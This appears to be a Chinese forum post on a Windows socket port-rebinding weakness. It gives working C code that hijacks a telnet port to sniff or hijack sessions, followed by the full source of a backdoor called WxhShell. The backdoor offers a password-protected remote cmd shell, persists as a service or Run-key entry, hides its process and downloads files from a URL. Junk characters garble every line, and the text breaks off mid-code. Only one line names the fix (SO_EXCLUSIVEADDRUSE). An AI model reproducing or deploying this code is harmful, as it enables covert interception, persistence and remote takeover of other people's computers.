在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lT4Hn;tnN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Vw[ 6t>` "~`I::'c saddr.sin_family = AF_INET;
Z.d7U~_ )iq-yjO6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
j0Bu-sO$w W8Q|$ZJ88F bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iM2W] wNq;;AJ$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
NxSu3e~PS ~SQ?BoCI[ 这意味着什么?意味着可以进行如下的攻击:
Rfn9s(m >tTj[cMJl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-r#X~2tPzD whonDG4WP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KiRUvWqa ]'5;|xc9$/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:!/gk8F|dI m7&O9?X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ANvR i+ _ b k|m4| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
qL5{f(U4< Jm|+-F@I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wg ^sGKN b'P eH\h{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
w0|gG+x jS 79nG|Yj|\ #include
~UyV< #include
ktK_e #include
~CtL9m3tO #include
<$6QDfa# DWORD WINAPI ClientThread(LPVOID lpParam);
p7);uF^O% int main()
ng:kA%!
Q {
yvgrIdEP WORD wVersionRequested;
)Y]{HQd DWORD ret;
!(qsD+ WSADATA wsaData;
t^`O{m< BOOL val;
6``'%S'# SOCKADDR_IN saddr;
z?>D_NLX6 SOCKADDR_IN scaddr;
Z?pnj8h-& int err;
_tSAI SOCKET s;
76>7=#m0u' SOCKET sc;
[v$0[IuY, int caddsize;
#BJG9DFP4` HANDLE mt;
p>vn7;s2# DWORD tid;
I96Ci2)m wVersionRequested = MAKEWORD( 2, 2 );
!h(|\"
} err = WSAStartup( wVersionRequested, &wsaData );
Qhs/E`k4 if ( err != 0 ) {
I6j$X 6u printf("error!WSAStartup failed!\n");
,QC{3i~ return -1;
XGJj3-eW{ }
76wc ,+ saddr.sin_family = AF_INET;
l_EM8pL,f V?Z.\~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3ia^\ jw #
S}Z8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[~kdPk saddr.sin_port = htons(23);
48jVRo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ikSF)r;*t {
AS E91T~ printf("error!socket failed!\n");
2-=\~<) return -1;
j<2m,~k`V }
N2oRJ,:B val = TRUE;
{GKy'/[ //SO_REUSEADDR选项就是可以实现端口重绑定的
$&$w Y/F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
cTD!B% x {
uC8L\UXk printf("error!setsockopt failed!\n");
CbPuoOl return -1;
Oy<5>2^P }
"z0zpHXek //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
rj6tZJZ#o0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ma'_e=+A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V$"ujRp QCH}-q) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%VzKqh {
fLSXPvm ret=GetLastError();
,*&G1|_6 printf("error!bind failed!\n");
R+nMy=I%8 return -1;
)LJnLo+ }
hq:&wN7Q listen(s,2);
5DXR8mLoaJ while(1)
~7$&WzD {
^qg?6S4 caddsize = sizeof(scaddr);
L7= Q<D< //接受连接请求
"6R
5+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z
>YFyu#LF if(sc!=INVALID_SOCKET)
'mH )d {
VA"*6F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Xg=x7\V if(mt==NULL)
GK9/D|h4 {
%]gn?`O printf("Thread Creat Failed!\n");
e$u4vC~ break;
c&X{dJWD }
o\88t){/kB }
*[r! CloseHandle(mt);
tG8jFou }
~go
fQ closesocket(s);
yfjK2 WSACleanup();
&K43x&mFF return 0;
y.=/J8-> }
]c<qM_HWg DWORD WINAPI ClientThread(LPVOID lpParam)
ew;ur? {
]J* ,g, SOCKET ss = (SOCKET)lpParam;
\S*$UE]uG SOCKET sc;
,bM-I2BR unsigned char buf[4096];
ly4s"4v SOCKADDR_IN saddr;
kaxvPv1
long num;
?;wpd';c DWORD val;
#Hvq/7a2R DWORD ret;
I.Y['%8,5~ //如果是隐藏端口应用的话,可以在此处加一些判断
{ekCQeDo //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
nI/kw%< saddr.sin_family = AF_INET;
3#vinz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"F3]X)} saddr.sin_port = htons(23);
HxBm~Lcqy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:LWn<,4F& {
DbZ0e5 printf("error!socket failed!\n");
zVi15P$ return -1;
]l@ qra }
q;fKcblKj val = 100;
l"{Sm6:;- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X*g(q0N<S {
a8dXH5_ ret = GetLastError();
rrnNn' return -1;
u>Rb
?` }
'lo if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o7TN,([W {
RQkyCAGx ret = GetLastError();
iJv48#'ii return -1;
xr qv@/kJ }
jSOS}!= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
IcrL {
D?~8za`5 printf("error!socket connect failed!\n");
lJzl6& closesocket(sc);
tM,%^){p$ closesocket(ss);
'JdkUhq1V return -1;
WKrX,GF }
B-*E:O0y while(1)
SVa6V}"Iv {
FZ|CqD"# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
yoRU_%xA //如果是嗅探内容的话,可以再此处进行内容分析和记录
N7%TYs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
v!42DA) num = recv(ss,buf,4096,0);
ckjrk if(num>0)
@ct+7v~ send(sc,buf,num,0);
.6m "'m0; else if(num==0)
]WUC:6x break;
T*I?9d{k num = recv(sc,buf,4096,0);
*9 Q^5;y if(num>0)
[EY`am8[ send(ss,buf,num,0);
nRb^<cZf else if(num==0)
c=[q(|+O! break;
j J3zF3Id }
_Cy:]2o closesocket(ss);
v)f7};"z closesocket(sc);
`_5GG3@Ff return 0 ;
Z,c,G2D }
Eq^uKi ~P-*}q2J ~:lKS;PRuK ==========================================================
o5Y2vmz?9 F52B~@. 下边附上一个代码,,WXhSHELL
_Mc>W0'5@ "BVdPS DBk ==========================================================
xMs]Hs
/u`3VOn #include "stdafx.h"
WlV
z,t'if F?u^"}%Fc #include <stdio.h>
y^Vw`-e #include <string.h>
1ndJ+H0H #include <windows.h>
kax\h #include <winsock2.h>
W3&tJ8*3 #include <winsvc.h>
'PlaM Oy #include <urlmon.h>
4'Xgk8) C;Ic #pragma comment (lib, "Ws2_32.lib")
7OVbP%n)d2 #pragma comment (lib, "urlmon.lib")
I,ci >/+b _2hXa!yO #define MAX_USER 100 // 最大客户端连接数
k$Rnj`*^ #define BUF_SOCK 200 // sock buffer
wU`!B<,j #define KEY_BUFF 255 // 输入 buffer
yg;_.4TpIO TNY4z(r #define REBOOT 0 // 重启
Ybg-"w #define SHUTDOWN 1 // 关机
yPu4T6Vv (0Naf #define DEF_PORT 5000 // 监听端口
J?n<ydZSH Zt@Z=r:& #define REG_LEN 16 // 注册表键长度
Gzt=u"FV #define SVC_LEN 80 // NT服务名长度
;\y; w7-WUvxl // 从dll定义API
XD-^w_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,xths3.K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
gJ3c; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~^N]yb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
uH\kQ9f ?mRE'# // wxhshell配置信息
{SG>'KXZ struct WSCFG {
:Dl%_l int ws_port; // 监听端口
>_X/[< char ws_passstr[REG_LEN]; // 口令
X1A<$Am1 int ws_autoins; // 安装标记, 1=yes 0=no
Vf-5&S&9 char ws_regname[REG_LEN]; // 注册表键名
Omag)U)IPh char ws_svcname[REG_LEN]; // 服务名
{.k)2{ char ws_svcdisp[SVC_LEN]; // 服务显示名
Di=9mHC char ws_svcdesc[SVC_LEN]; // 服务描述信息
v })Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.dq
"k int ws_downexe; // 下载执行标记, 1=yes 0=no
N<JHjq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vz`@x45K char ws_filenam[SVC_LEN]; // 下载后保存的文件名
59B&2861 tkuc/Z/@ };
Xt,X_o2m|] )u@c3?$6 // default Wxhshell configuration
MonS hIz
struct WSCFG wscfg={DEF_PORT,
I__ 4I{nI "xuhuanlingzhe",
])y{BlZ 1,
zW4O4b$T "Wxhshell",
]UNZd/hIL "Wxhshell",
Fa3gJ[ZAqf "WxhShell Service",
S|R|]J| "Wrsky Windows CmdShell Service",
3@5p"X "Please Input Your Password: ",
j%& IL0 1,
xRDiRj "
http://www.wrsky.com/wxhshell.exe",
&K:' #[3V "Wxhshell.exe"
#iis/6" };
m/USC'U% tLX,+P2| // 消息定义模块
VRS 2cc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
's@MQ!
* char *msg_ws_prompt="\n\r? for help\n\r#>";
9 Aivf+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"dN< i char *msg_ws_ext="\n\rExit.";
!Qu PG/=X char *msg_ws_end="\n\rQuit.";
`?o=*OS7Y char *msg_ws_boot="\n\rReboot...";
H`<?<ak6'M char *msg_ws_poff="\n\rShutdown...";
sm s1%%~ char *msg_ws_down="\n\rSave to ";
R]b! $6Lt oL
*n>dH char *msg_ws_err="\n\rErr!";
a0d
, char *msg_ws_ok="\n\rOK!";
\3{3ly~L x3p9GAd# char ExeFile[MAX_PATH];
q#1X[A() int nUser = 0;
RR>G]#k HANDLE handles[MAX_USER];
N&;\PfG int OsIsNt;
JmWR{du #q4*]qGHm SERVICE_STATUS serviceStatus;
=B5E0x SERVICE_STATUS_HANDLE hServiceStatusHandle;
0B3 QVbp' C;#"td // 函数声明
L:U4N* int Install(void);
^o%_W0_r int Uninstall(void);
e)pTC97^L int DownloadFile(char *sURL, SOCKET wsh);
LZ&uj{ < int Boot(int flag);
lL2-.!]R void HideProc(void);
k\(4sY M int GetOsVer(void);
=g0*MZ;" int Wxhshell(SOCKET wsl);
Oje|bxQ void TalkWithClient(void *cs);
H2\1gNL int CmdShell(SOCKET sock);
sX'U|)/pD int StartFromService(void);
1*R_"# int StartWxhshell(LPSTR lpCmdLine);
1=TSJ2{9 MTB@CP!u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ATO
5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
sC6r.@[u8t Z>{*ISvpq // 数据结构和表定义
x*mc - &N SERVICE_TABLE_ENTRY DispatchTable[] =
)y\BY8 {
ib50LCm {wscfg.ws_svcname, NTServiceMain},
3}M\c) {NULL, NULL}
5!:._TcO };
u&3EPu YeIe\3x!N // 自我安装
vb}/@F,Q5 int Install(void)
Qg>L,ZO {
cHn;}l!I char svExeFile[MAX_PATH];
_[$#
b]V HKEY key;
'oi2Seq strcpy(svExeFile,ExeFile);
M'|)dM| T#e4":A&x // 如果是win9x系统,修改注册表设为自启动
q}Rlo/R if(!OsIsNt) {
~|=rwDBZ8l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R"Y?iZed3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jlRS:$|R0 RegCloseKey(key);
||gEs/6- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IuKnM`X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K50t%yu#T] RegCloseKey(key);
nL\ZId return 0;
r03I*b }
le2/Zs$ }
`wV|q~ }
:xN8R^( else {
p[;8 JB'qiuhab // 如果是NT以上系统,安装为系统服务
5\+EHW!o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
E~69^cd if (schSCManager!=0)
.r6YrB@[' {
vu>YH)N_h SC_HANDLE schService = CreateService
67ZYtA|t (
wV
%8v\ schSCManager,
${0%tCE wscfg.ws_svcname,
y$v@wb5 wscfg.ws_svcdisp,
2:/u2K SERVICE_ALL_ACCESS,
7Ff?Ysr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ahd\TH SERVICE_AUTO_START,
x{QBMe` SERVICE_ERROR_NORMAL,
B^Bbso'{1 svExeFile,
I-,X wj- NULL,
?V6 %>RU NULL,
){jqfkL NULL,
I4CHfs"ar NULL,
G$S1#F - NULL
ax;{MfsK );
Y"s
)u7 if (schService!=0)
8t--#sDy{0 {
s.bT[0Vl CloseServiceHandle(schService);
@qpYDnJ: CloseServiceHandle(schSCManager);
JYl\<Z' { strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,Os7T 1> strcat(svExeFile,wscfg.ws_svcname);
9DY|Sa]#= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
D'85VZEFyo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
oFwG+W/ RegCloseKey(key);
widI
s[
) return 0;
nxf{PbHk }
~t$mw, }
A&;EV#]ge CloseServiceHandle(schSCManager);
Y]M^n&f }
;*"!:GR%h }
''%;EW> *u<rU,C8 return 1;
giQ{Xrj }
k>$FT` EI%M
Azj} // 自我卸载
= ]WW'~ int Uninstall(void)
@-}D7? {
$8EV,9^U HKEY key;
A4}JZi6@ IsWcz+1n if(!OsIsNt) {
^#}dPGm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[U%.Gi RegDeleteValue(key,wscfg.ws_regname);
zZ<ns+h RegCloseKey(key);
D l4d'&! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0P3j+?
N% RegDeleteValue(key,wscfg.ws_regname);
-??!@R7V RegCloseKey(key);
b1eK(F return 0;
]VzqQ=U% }
p6B .s_G4 }
#?L(#a$k }
(QA-"9v#i, else {
.jLMl*6%: &S9f#Ui SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0zlM.rjEZ if (schSCManager!=0)
r.Y*{!t {
T$#FAEz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=I+l=;05Rd if (schService!=0)
Bm65W {
9k(*?!\; if(DeleteService(schService)!=0) {
rSM$E CloseServiceHandle(schService);
kQqBHA CloseServiceHandle(schSCManager);
U)SM),bE[ return 0;
*4r
s }
9k714bnMLX CloseServiceHandle(schService);
03PN{< }
16a_GwfM CloseServiceHandle(schSCManager);
E\
K }
E`A<]dAoK }
L"Qh_+ }<6oFUZ return 1;
T][-'0! }
bbE bf !E Y\+(rC27 // 从指定url下载文件
#
q0Ub- int DownloadFile(char *sURL, SOCKET wsh)
7}2sIf[I {
Dq0-Kf,^ HRESULT hr;
bd@*vu}?} char seps[]= "/";
stf,<W char *token;
+a7EsR char *file;
U:s}/to char myURL[MAX_PATH];
D[?k ,* char myFILE[MAX_PATH];
g;u<[>'I J=f:\]@Oy strcpy(myURL,sURL);
v_?s1+w token=strtok(myURL,seps);
^8o_Iz)r, while(token!=NULL)
2N8rM}?90 {
g:G%Ei~sF file=token;
t(Q&H!~e
token=strtok(NULL,seps);
GnSgO-$" }
bLU^1S8Z FYx `o\ GetCurrentDirectory(MAX_PATH,myFILE);
[dSDg2] strcat(myFILE, "\\");
[4K9|/J strcat(myFILE, file);
<3i4NXnL2 send(wsh,myFILE,strlen(myFILE),0);
I_"Hgx< send(wsh,"...",3,0);
e>])m3xvn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rW=k%#
p if(hr==S_OK)
hQd@bN8 return 0;
}}4sh5z else
4yJ*85e] return 1;
(T>?8K_d FUW(>0x? }
xA[Wb' FR@PhMUS // 系统电源模块
)[@YHE5g int Boot(int flag)
!s#'pTZk4 {
s2(w#n) HANDLE hToken;
7yqSt)/U TOKEN_PRIVILEGES tkp;
~x4{P;y FqT,4SIR if(OsIsNt) {
=Do3#Xe2V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
73^T* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
imJ[:E tkp.PrivilegeCount = 1;
v&[X&Hu[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F#!@}K8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=|qt!gY)Y if(flag==REBOOT) {
]Omb : if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
okK/i return 0;
rm5T=fNJ }
T!^?d5uW# else {
RpmBP[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
y(bt56 |
z return 0;
h X>VVeIZ }
${E[pT }
0gwm gc/# else {
?d>P+). if(flag==REBOOT) {
"2#-xOCO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n!l./>N return 0;
\GbHS*\+ }
tpNtoqg_$ else {
&.+n
L
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s{1Deek= return 0;
`PQ?8z| }
niBjq#bJi }
|%2/I>o =,>TpE return 1;
'Ec:l(2Ec }
@~!-a
s7 6`s%%v // win9x进程隐藏模块
v3hQv)j) void HideProc(void)
xnRp/I {
(giTp@Tp I\Gp9w0f HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HP4'8#3o if ( hKernel != NULL )
3j=%De {
\CJx=[3( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
bCE7hutl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
M0Kh>u FreeLibrary(hKernel);
IQk# }
@sgT[P*ut H.l,%x&K return;
:EQme0OW }
dm/\uE'l Hl3XqR // 获取操作系统版本
j
J`Zz int GetOsVer(void)
.5KC'? {
xM'S
;Sg OSVERSIONINFO winfo;
N?2#YTjR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
evg 7d GetVersionEx(&winfo);
4U! .UNi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Qa7S'( return 1;
aCH:#|B else
"`W1yk5x return 0;
|U#w?eE= }
HgSmAziv >Xh(`^}SQ* // 客户端句柄模块
bWQORjnd8 int Wxhshell(SOCKET wsl)
|qy"%W@ {
5|~r{w)9 SOCKET wsh;
yhkQFB%gv struct sockaddr_in client;
_/sf@R DWORD myID;
F~Z 0 [K)1!KK,L while(nUser<MAX_USER)
R26tQbwE {
"$V 8y int nSize=sizeof(client);
&x0TnW"g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8SCW.;0 if(wsh==INVALID_SOCKET) return 1;
<Z_wDK/UR Hdq/E>u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
U@v8H!p^i if(handles[nUser]==0)
{Y*]Qc closesocket(wsh);
d*\C^:Z else
&TkbnDuYd~ nUser++;
<v7KE*# }
q@MjeGs% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U38wGSG VG'( return 0;
[P&,}o)+E0 }
~4 ~Tcn \'LC C- // 关闭 socket
4 _U,-%/ void CloseIt(SOCKET wsh)
I_6` Z 0 {
E_'n4@}Cx closesocket(wsh);
3@cJ= nUser--;
5KH'|z ExitThread(0);
|YGiATD4DG }
Bbt8fJA~ s[B6%DI/5 // 客户端请求句柄
Y"/UYxCm|& void TalkWithClient(void *cs)
JbC\l {
BWi 7v wM4g1H%s SOCKET wsh=(SOCKET)cs;
\]`(xxt1 char pwd[SVC_LEN];
;&^"q{m char cmd[KEY_BUFF];
qn"T?
O char chr[1];
;`of'9| int i,j;
^? {kj{v >ya- while (nUser < MAX_USER) {
vs0H^L ;~Gpw/]5E if(wscfg.ws_passstr) {
CU>K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U)w|GrxX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5G] #yb74 //ZeroMemory(pwd,KEY_BUFF);
RBD7mpd i=0;
>3
.ep}, while(i<SVC_LEN) {
K!:
,l ah Xq{> // 设置超时
3D09P5$W fd_set FdRead;
-L 'K struct timeval TimeOut;
~Yz/t FD_ZERO(&FdRead);
NdSxWrD`m FD_SET(wsh,&FdRead);
'5,,XhP TimeOut.tv_sec=8;
gAUQQ TimeOut.tv_usec=0;
1707 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
645C]l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
y0&HXX#\
]xLb )Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
|16BidWi pwd
=chr[0]; ^R'!\m|FR
if(chr[0]==0xd || chr[0]==0xa) { 'TN{8~Gt*
pwd=0; n#4J]Z@
break; 0l1]QD+Gc5
} :*Ggz|
i++; h7]]F{r5
} x5 ~E'~_
.9fluAG
// 如果是非法用户,关闭 socket P[P72WR
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); So 6cm|{
} [;#.DH]
%^%-h}1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g+/U^JIc4l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3N%Evo
6dy4{i
while(1) { k`~br249
~\}EROb<
ZeroMemory(cmd,KEY_BUFF); g~H?l3v
~m|?! ]n
// 自动支持客户端 telnet标准 0?Wf\7
j=0; QRHm|f9_C
while(j<KEY_BUFF) { ;)]zv\fC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Bt-
cmd[j]=chr[0]; UO!6&k>c
if(chr[0]==0xa || chr[0]==0xd) { H$z+gbjJ
cmd[j]=0; f$W}d0(F;
break; h8-tbHgpb
} ; F(01
j++; WblV`"~e
} FC(cXPX}
U?ic$J]N
// 下载文件 kZ[yv
if(strstr(cmd,"http://")) { f EiEfu
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !cq|g
if(DownloadFile(cmd,wsh)) (l_de)N7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [}>6n72gNh
else VdOd:w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $q$\GOQ 9
}
. _t,OX$
else { +sl uu!~
:RO:k|g
switch(cmd[0]) { ?E_p ,#9j)
RTY4%6]O
// 帮助 7%!KAtc
case '?': { Iw|[*Nu-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GO3YXO33
break; *-LU'yM6Yh
} 'htA! KHF
// 安装 '^(v8lCu
case 'i': { 3M*[a~
if(Install()) wP1VQUL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CgKSK0/a
else ?N*@o.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p2vUt
break; sx^? Iw,N'
} ;Hr@0f
// 卸载 OjEA;;qq
case 'r': { @VS5Mg8
if(Uninstall()) knzED~v@(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-"L4TC)
else H
7F~+Q-}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5XUDDi
break; uPv?Hq
} SfFR
// 显示 wxhshell 所在路径 F^G`Jf
case 'p': { Qu\l$/
char svExeFile[MAX_PATH]; 5o ^=~
strcpy(svExeFile,"\n\r"); qWRMwvN{
strcat(svExeFile,ExeFile); FOG+[v
send(wsh,svExeFile,strlen(svExeFile),0); jtr=8OiL
break; q.F1Jj
} B"zg85
e
// 重启 3 v$4LY
case 'b': { CHw_?#h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O~0
1)%
if(Boot(REBOOT)) #p`7gFl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QaBXzf
else { 7uNI
closesocket(wsh); be#"517
ExitThread(0); :uDB3jN[
} N,Bs% p#1
break; qM !q,Q
} U7eQ-r
// 关机 M':.b+xN
case 'd': { ZSt
ww{Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B8Zd#.6]
if(Boot(SHUTDOWN)) *bSG48W("
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ve^MqW&S
else { EC#10.
closesocket(wsh); *~^^A9C8
ExitThread(0); tp2 _OQAQ
} o9\m?~g!E
break; P`"DepeD
} += ~}PF
// 获取shell HbDB?s<
case 's': { ,!4_Uc
CmdShell(wsh); (UXB#I~
closesocket(wsh); (Fd4Gw<sq
ExitThread(0); io3'h:+9s
break; Sd6^%YB
} [KJL%u|8/
// 退出 :C6rN}_k
case 'x': { Z5-'|h$|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t O>qd#I
CloseIt(wsh); Lpf=VyqC
break; ?EAqv]
} (Z +C
// 离开 ,SwaDWNO
case 'q': { c?",kzo
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }TvAjLIS6
closesocket(wsh); QLG,r^
WSACleanup(); hDMp^^$
exit(1); =oDrN7`,B
break; 4]KceE
} \ y",Qq?
} &W!@3O{~.
} ix`x dVj`
CNYchE,}
// 提示信息 a$:N9&P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \YS\*'F
} M6!brj\[|
} ^umAfk5r?H
rnE'gH(V'
return; Su #1yw>
} +-d>Sl (
Cz)D3Df^
// shell模块句柄 T]2q >N
int CmdShell(SOCKET sock) heA\6W:u&
{ jqedHnx
STARTUPINFO si; a!]%@A6p
ZeroMemory(&si,sizeof(si)); 7yl'!uz)9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s.
[${S6O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `,[c??h
PROCESS_INFORMATION ProcessInfo; 0in6z
char cmdline[]="cmd"; JN)t'm[kyE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cx~z^YP'
return 0; 8t!"K_Mkx
} #u@!O%MJ
Rby7X*.-v
// 自身启动模式 PQr
N";+
int StartFromService(void) xE_[=7=
{ _Tz!~z
typedef struct EMbsKG
{ ;7>--_?=
DWORD ExitStatus; a mgex$
DWORD PebBaseAddress; ^5}3FvW
DWORD AffinityMask; l/LUwDI{
DWORD BasePriority; H1M>60*
ULONG UniqueProcessId; e>.xXg6Zn
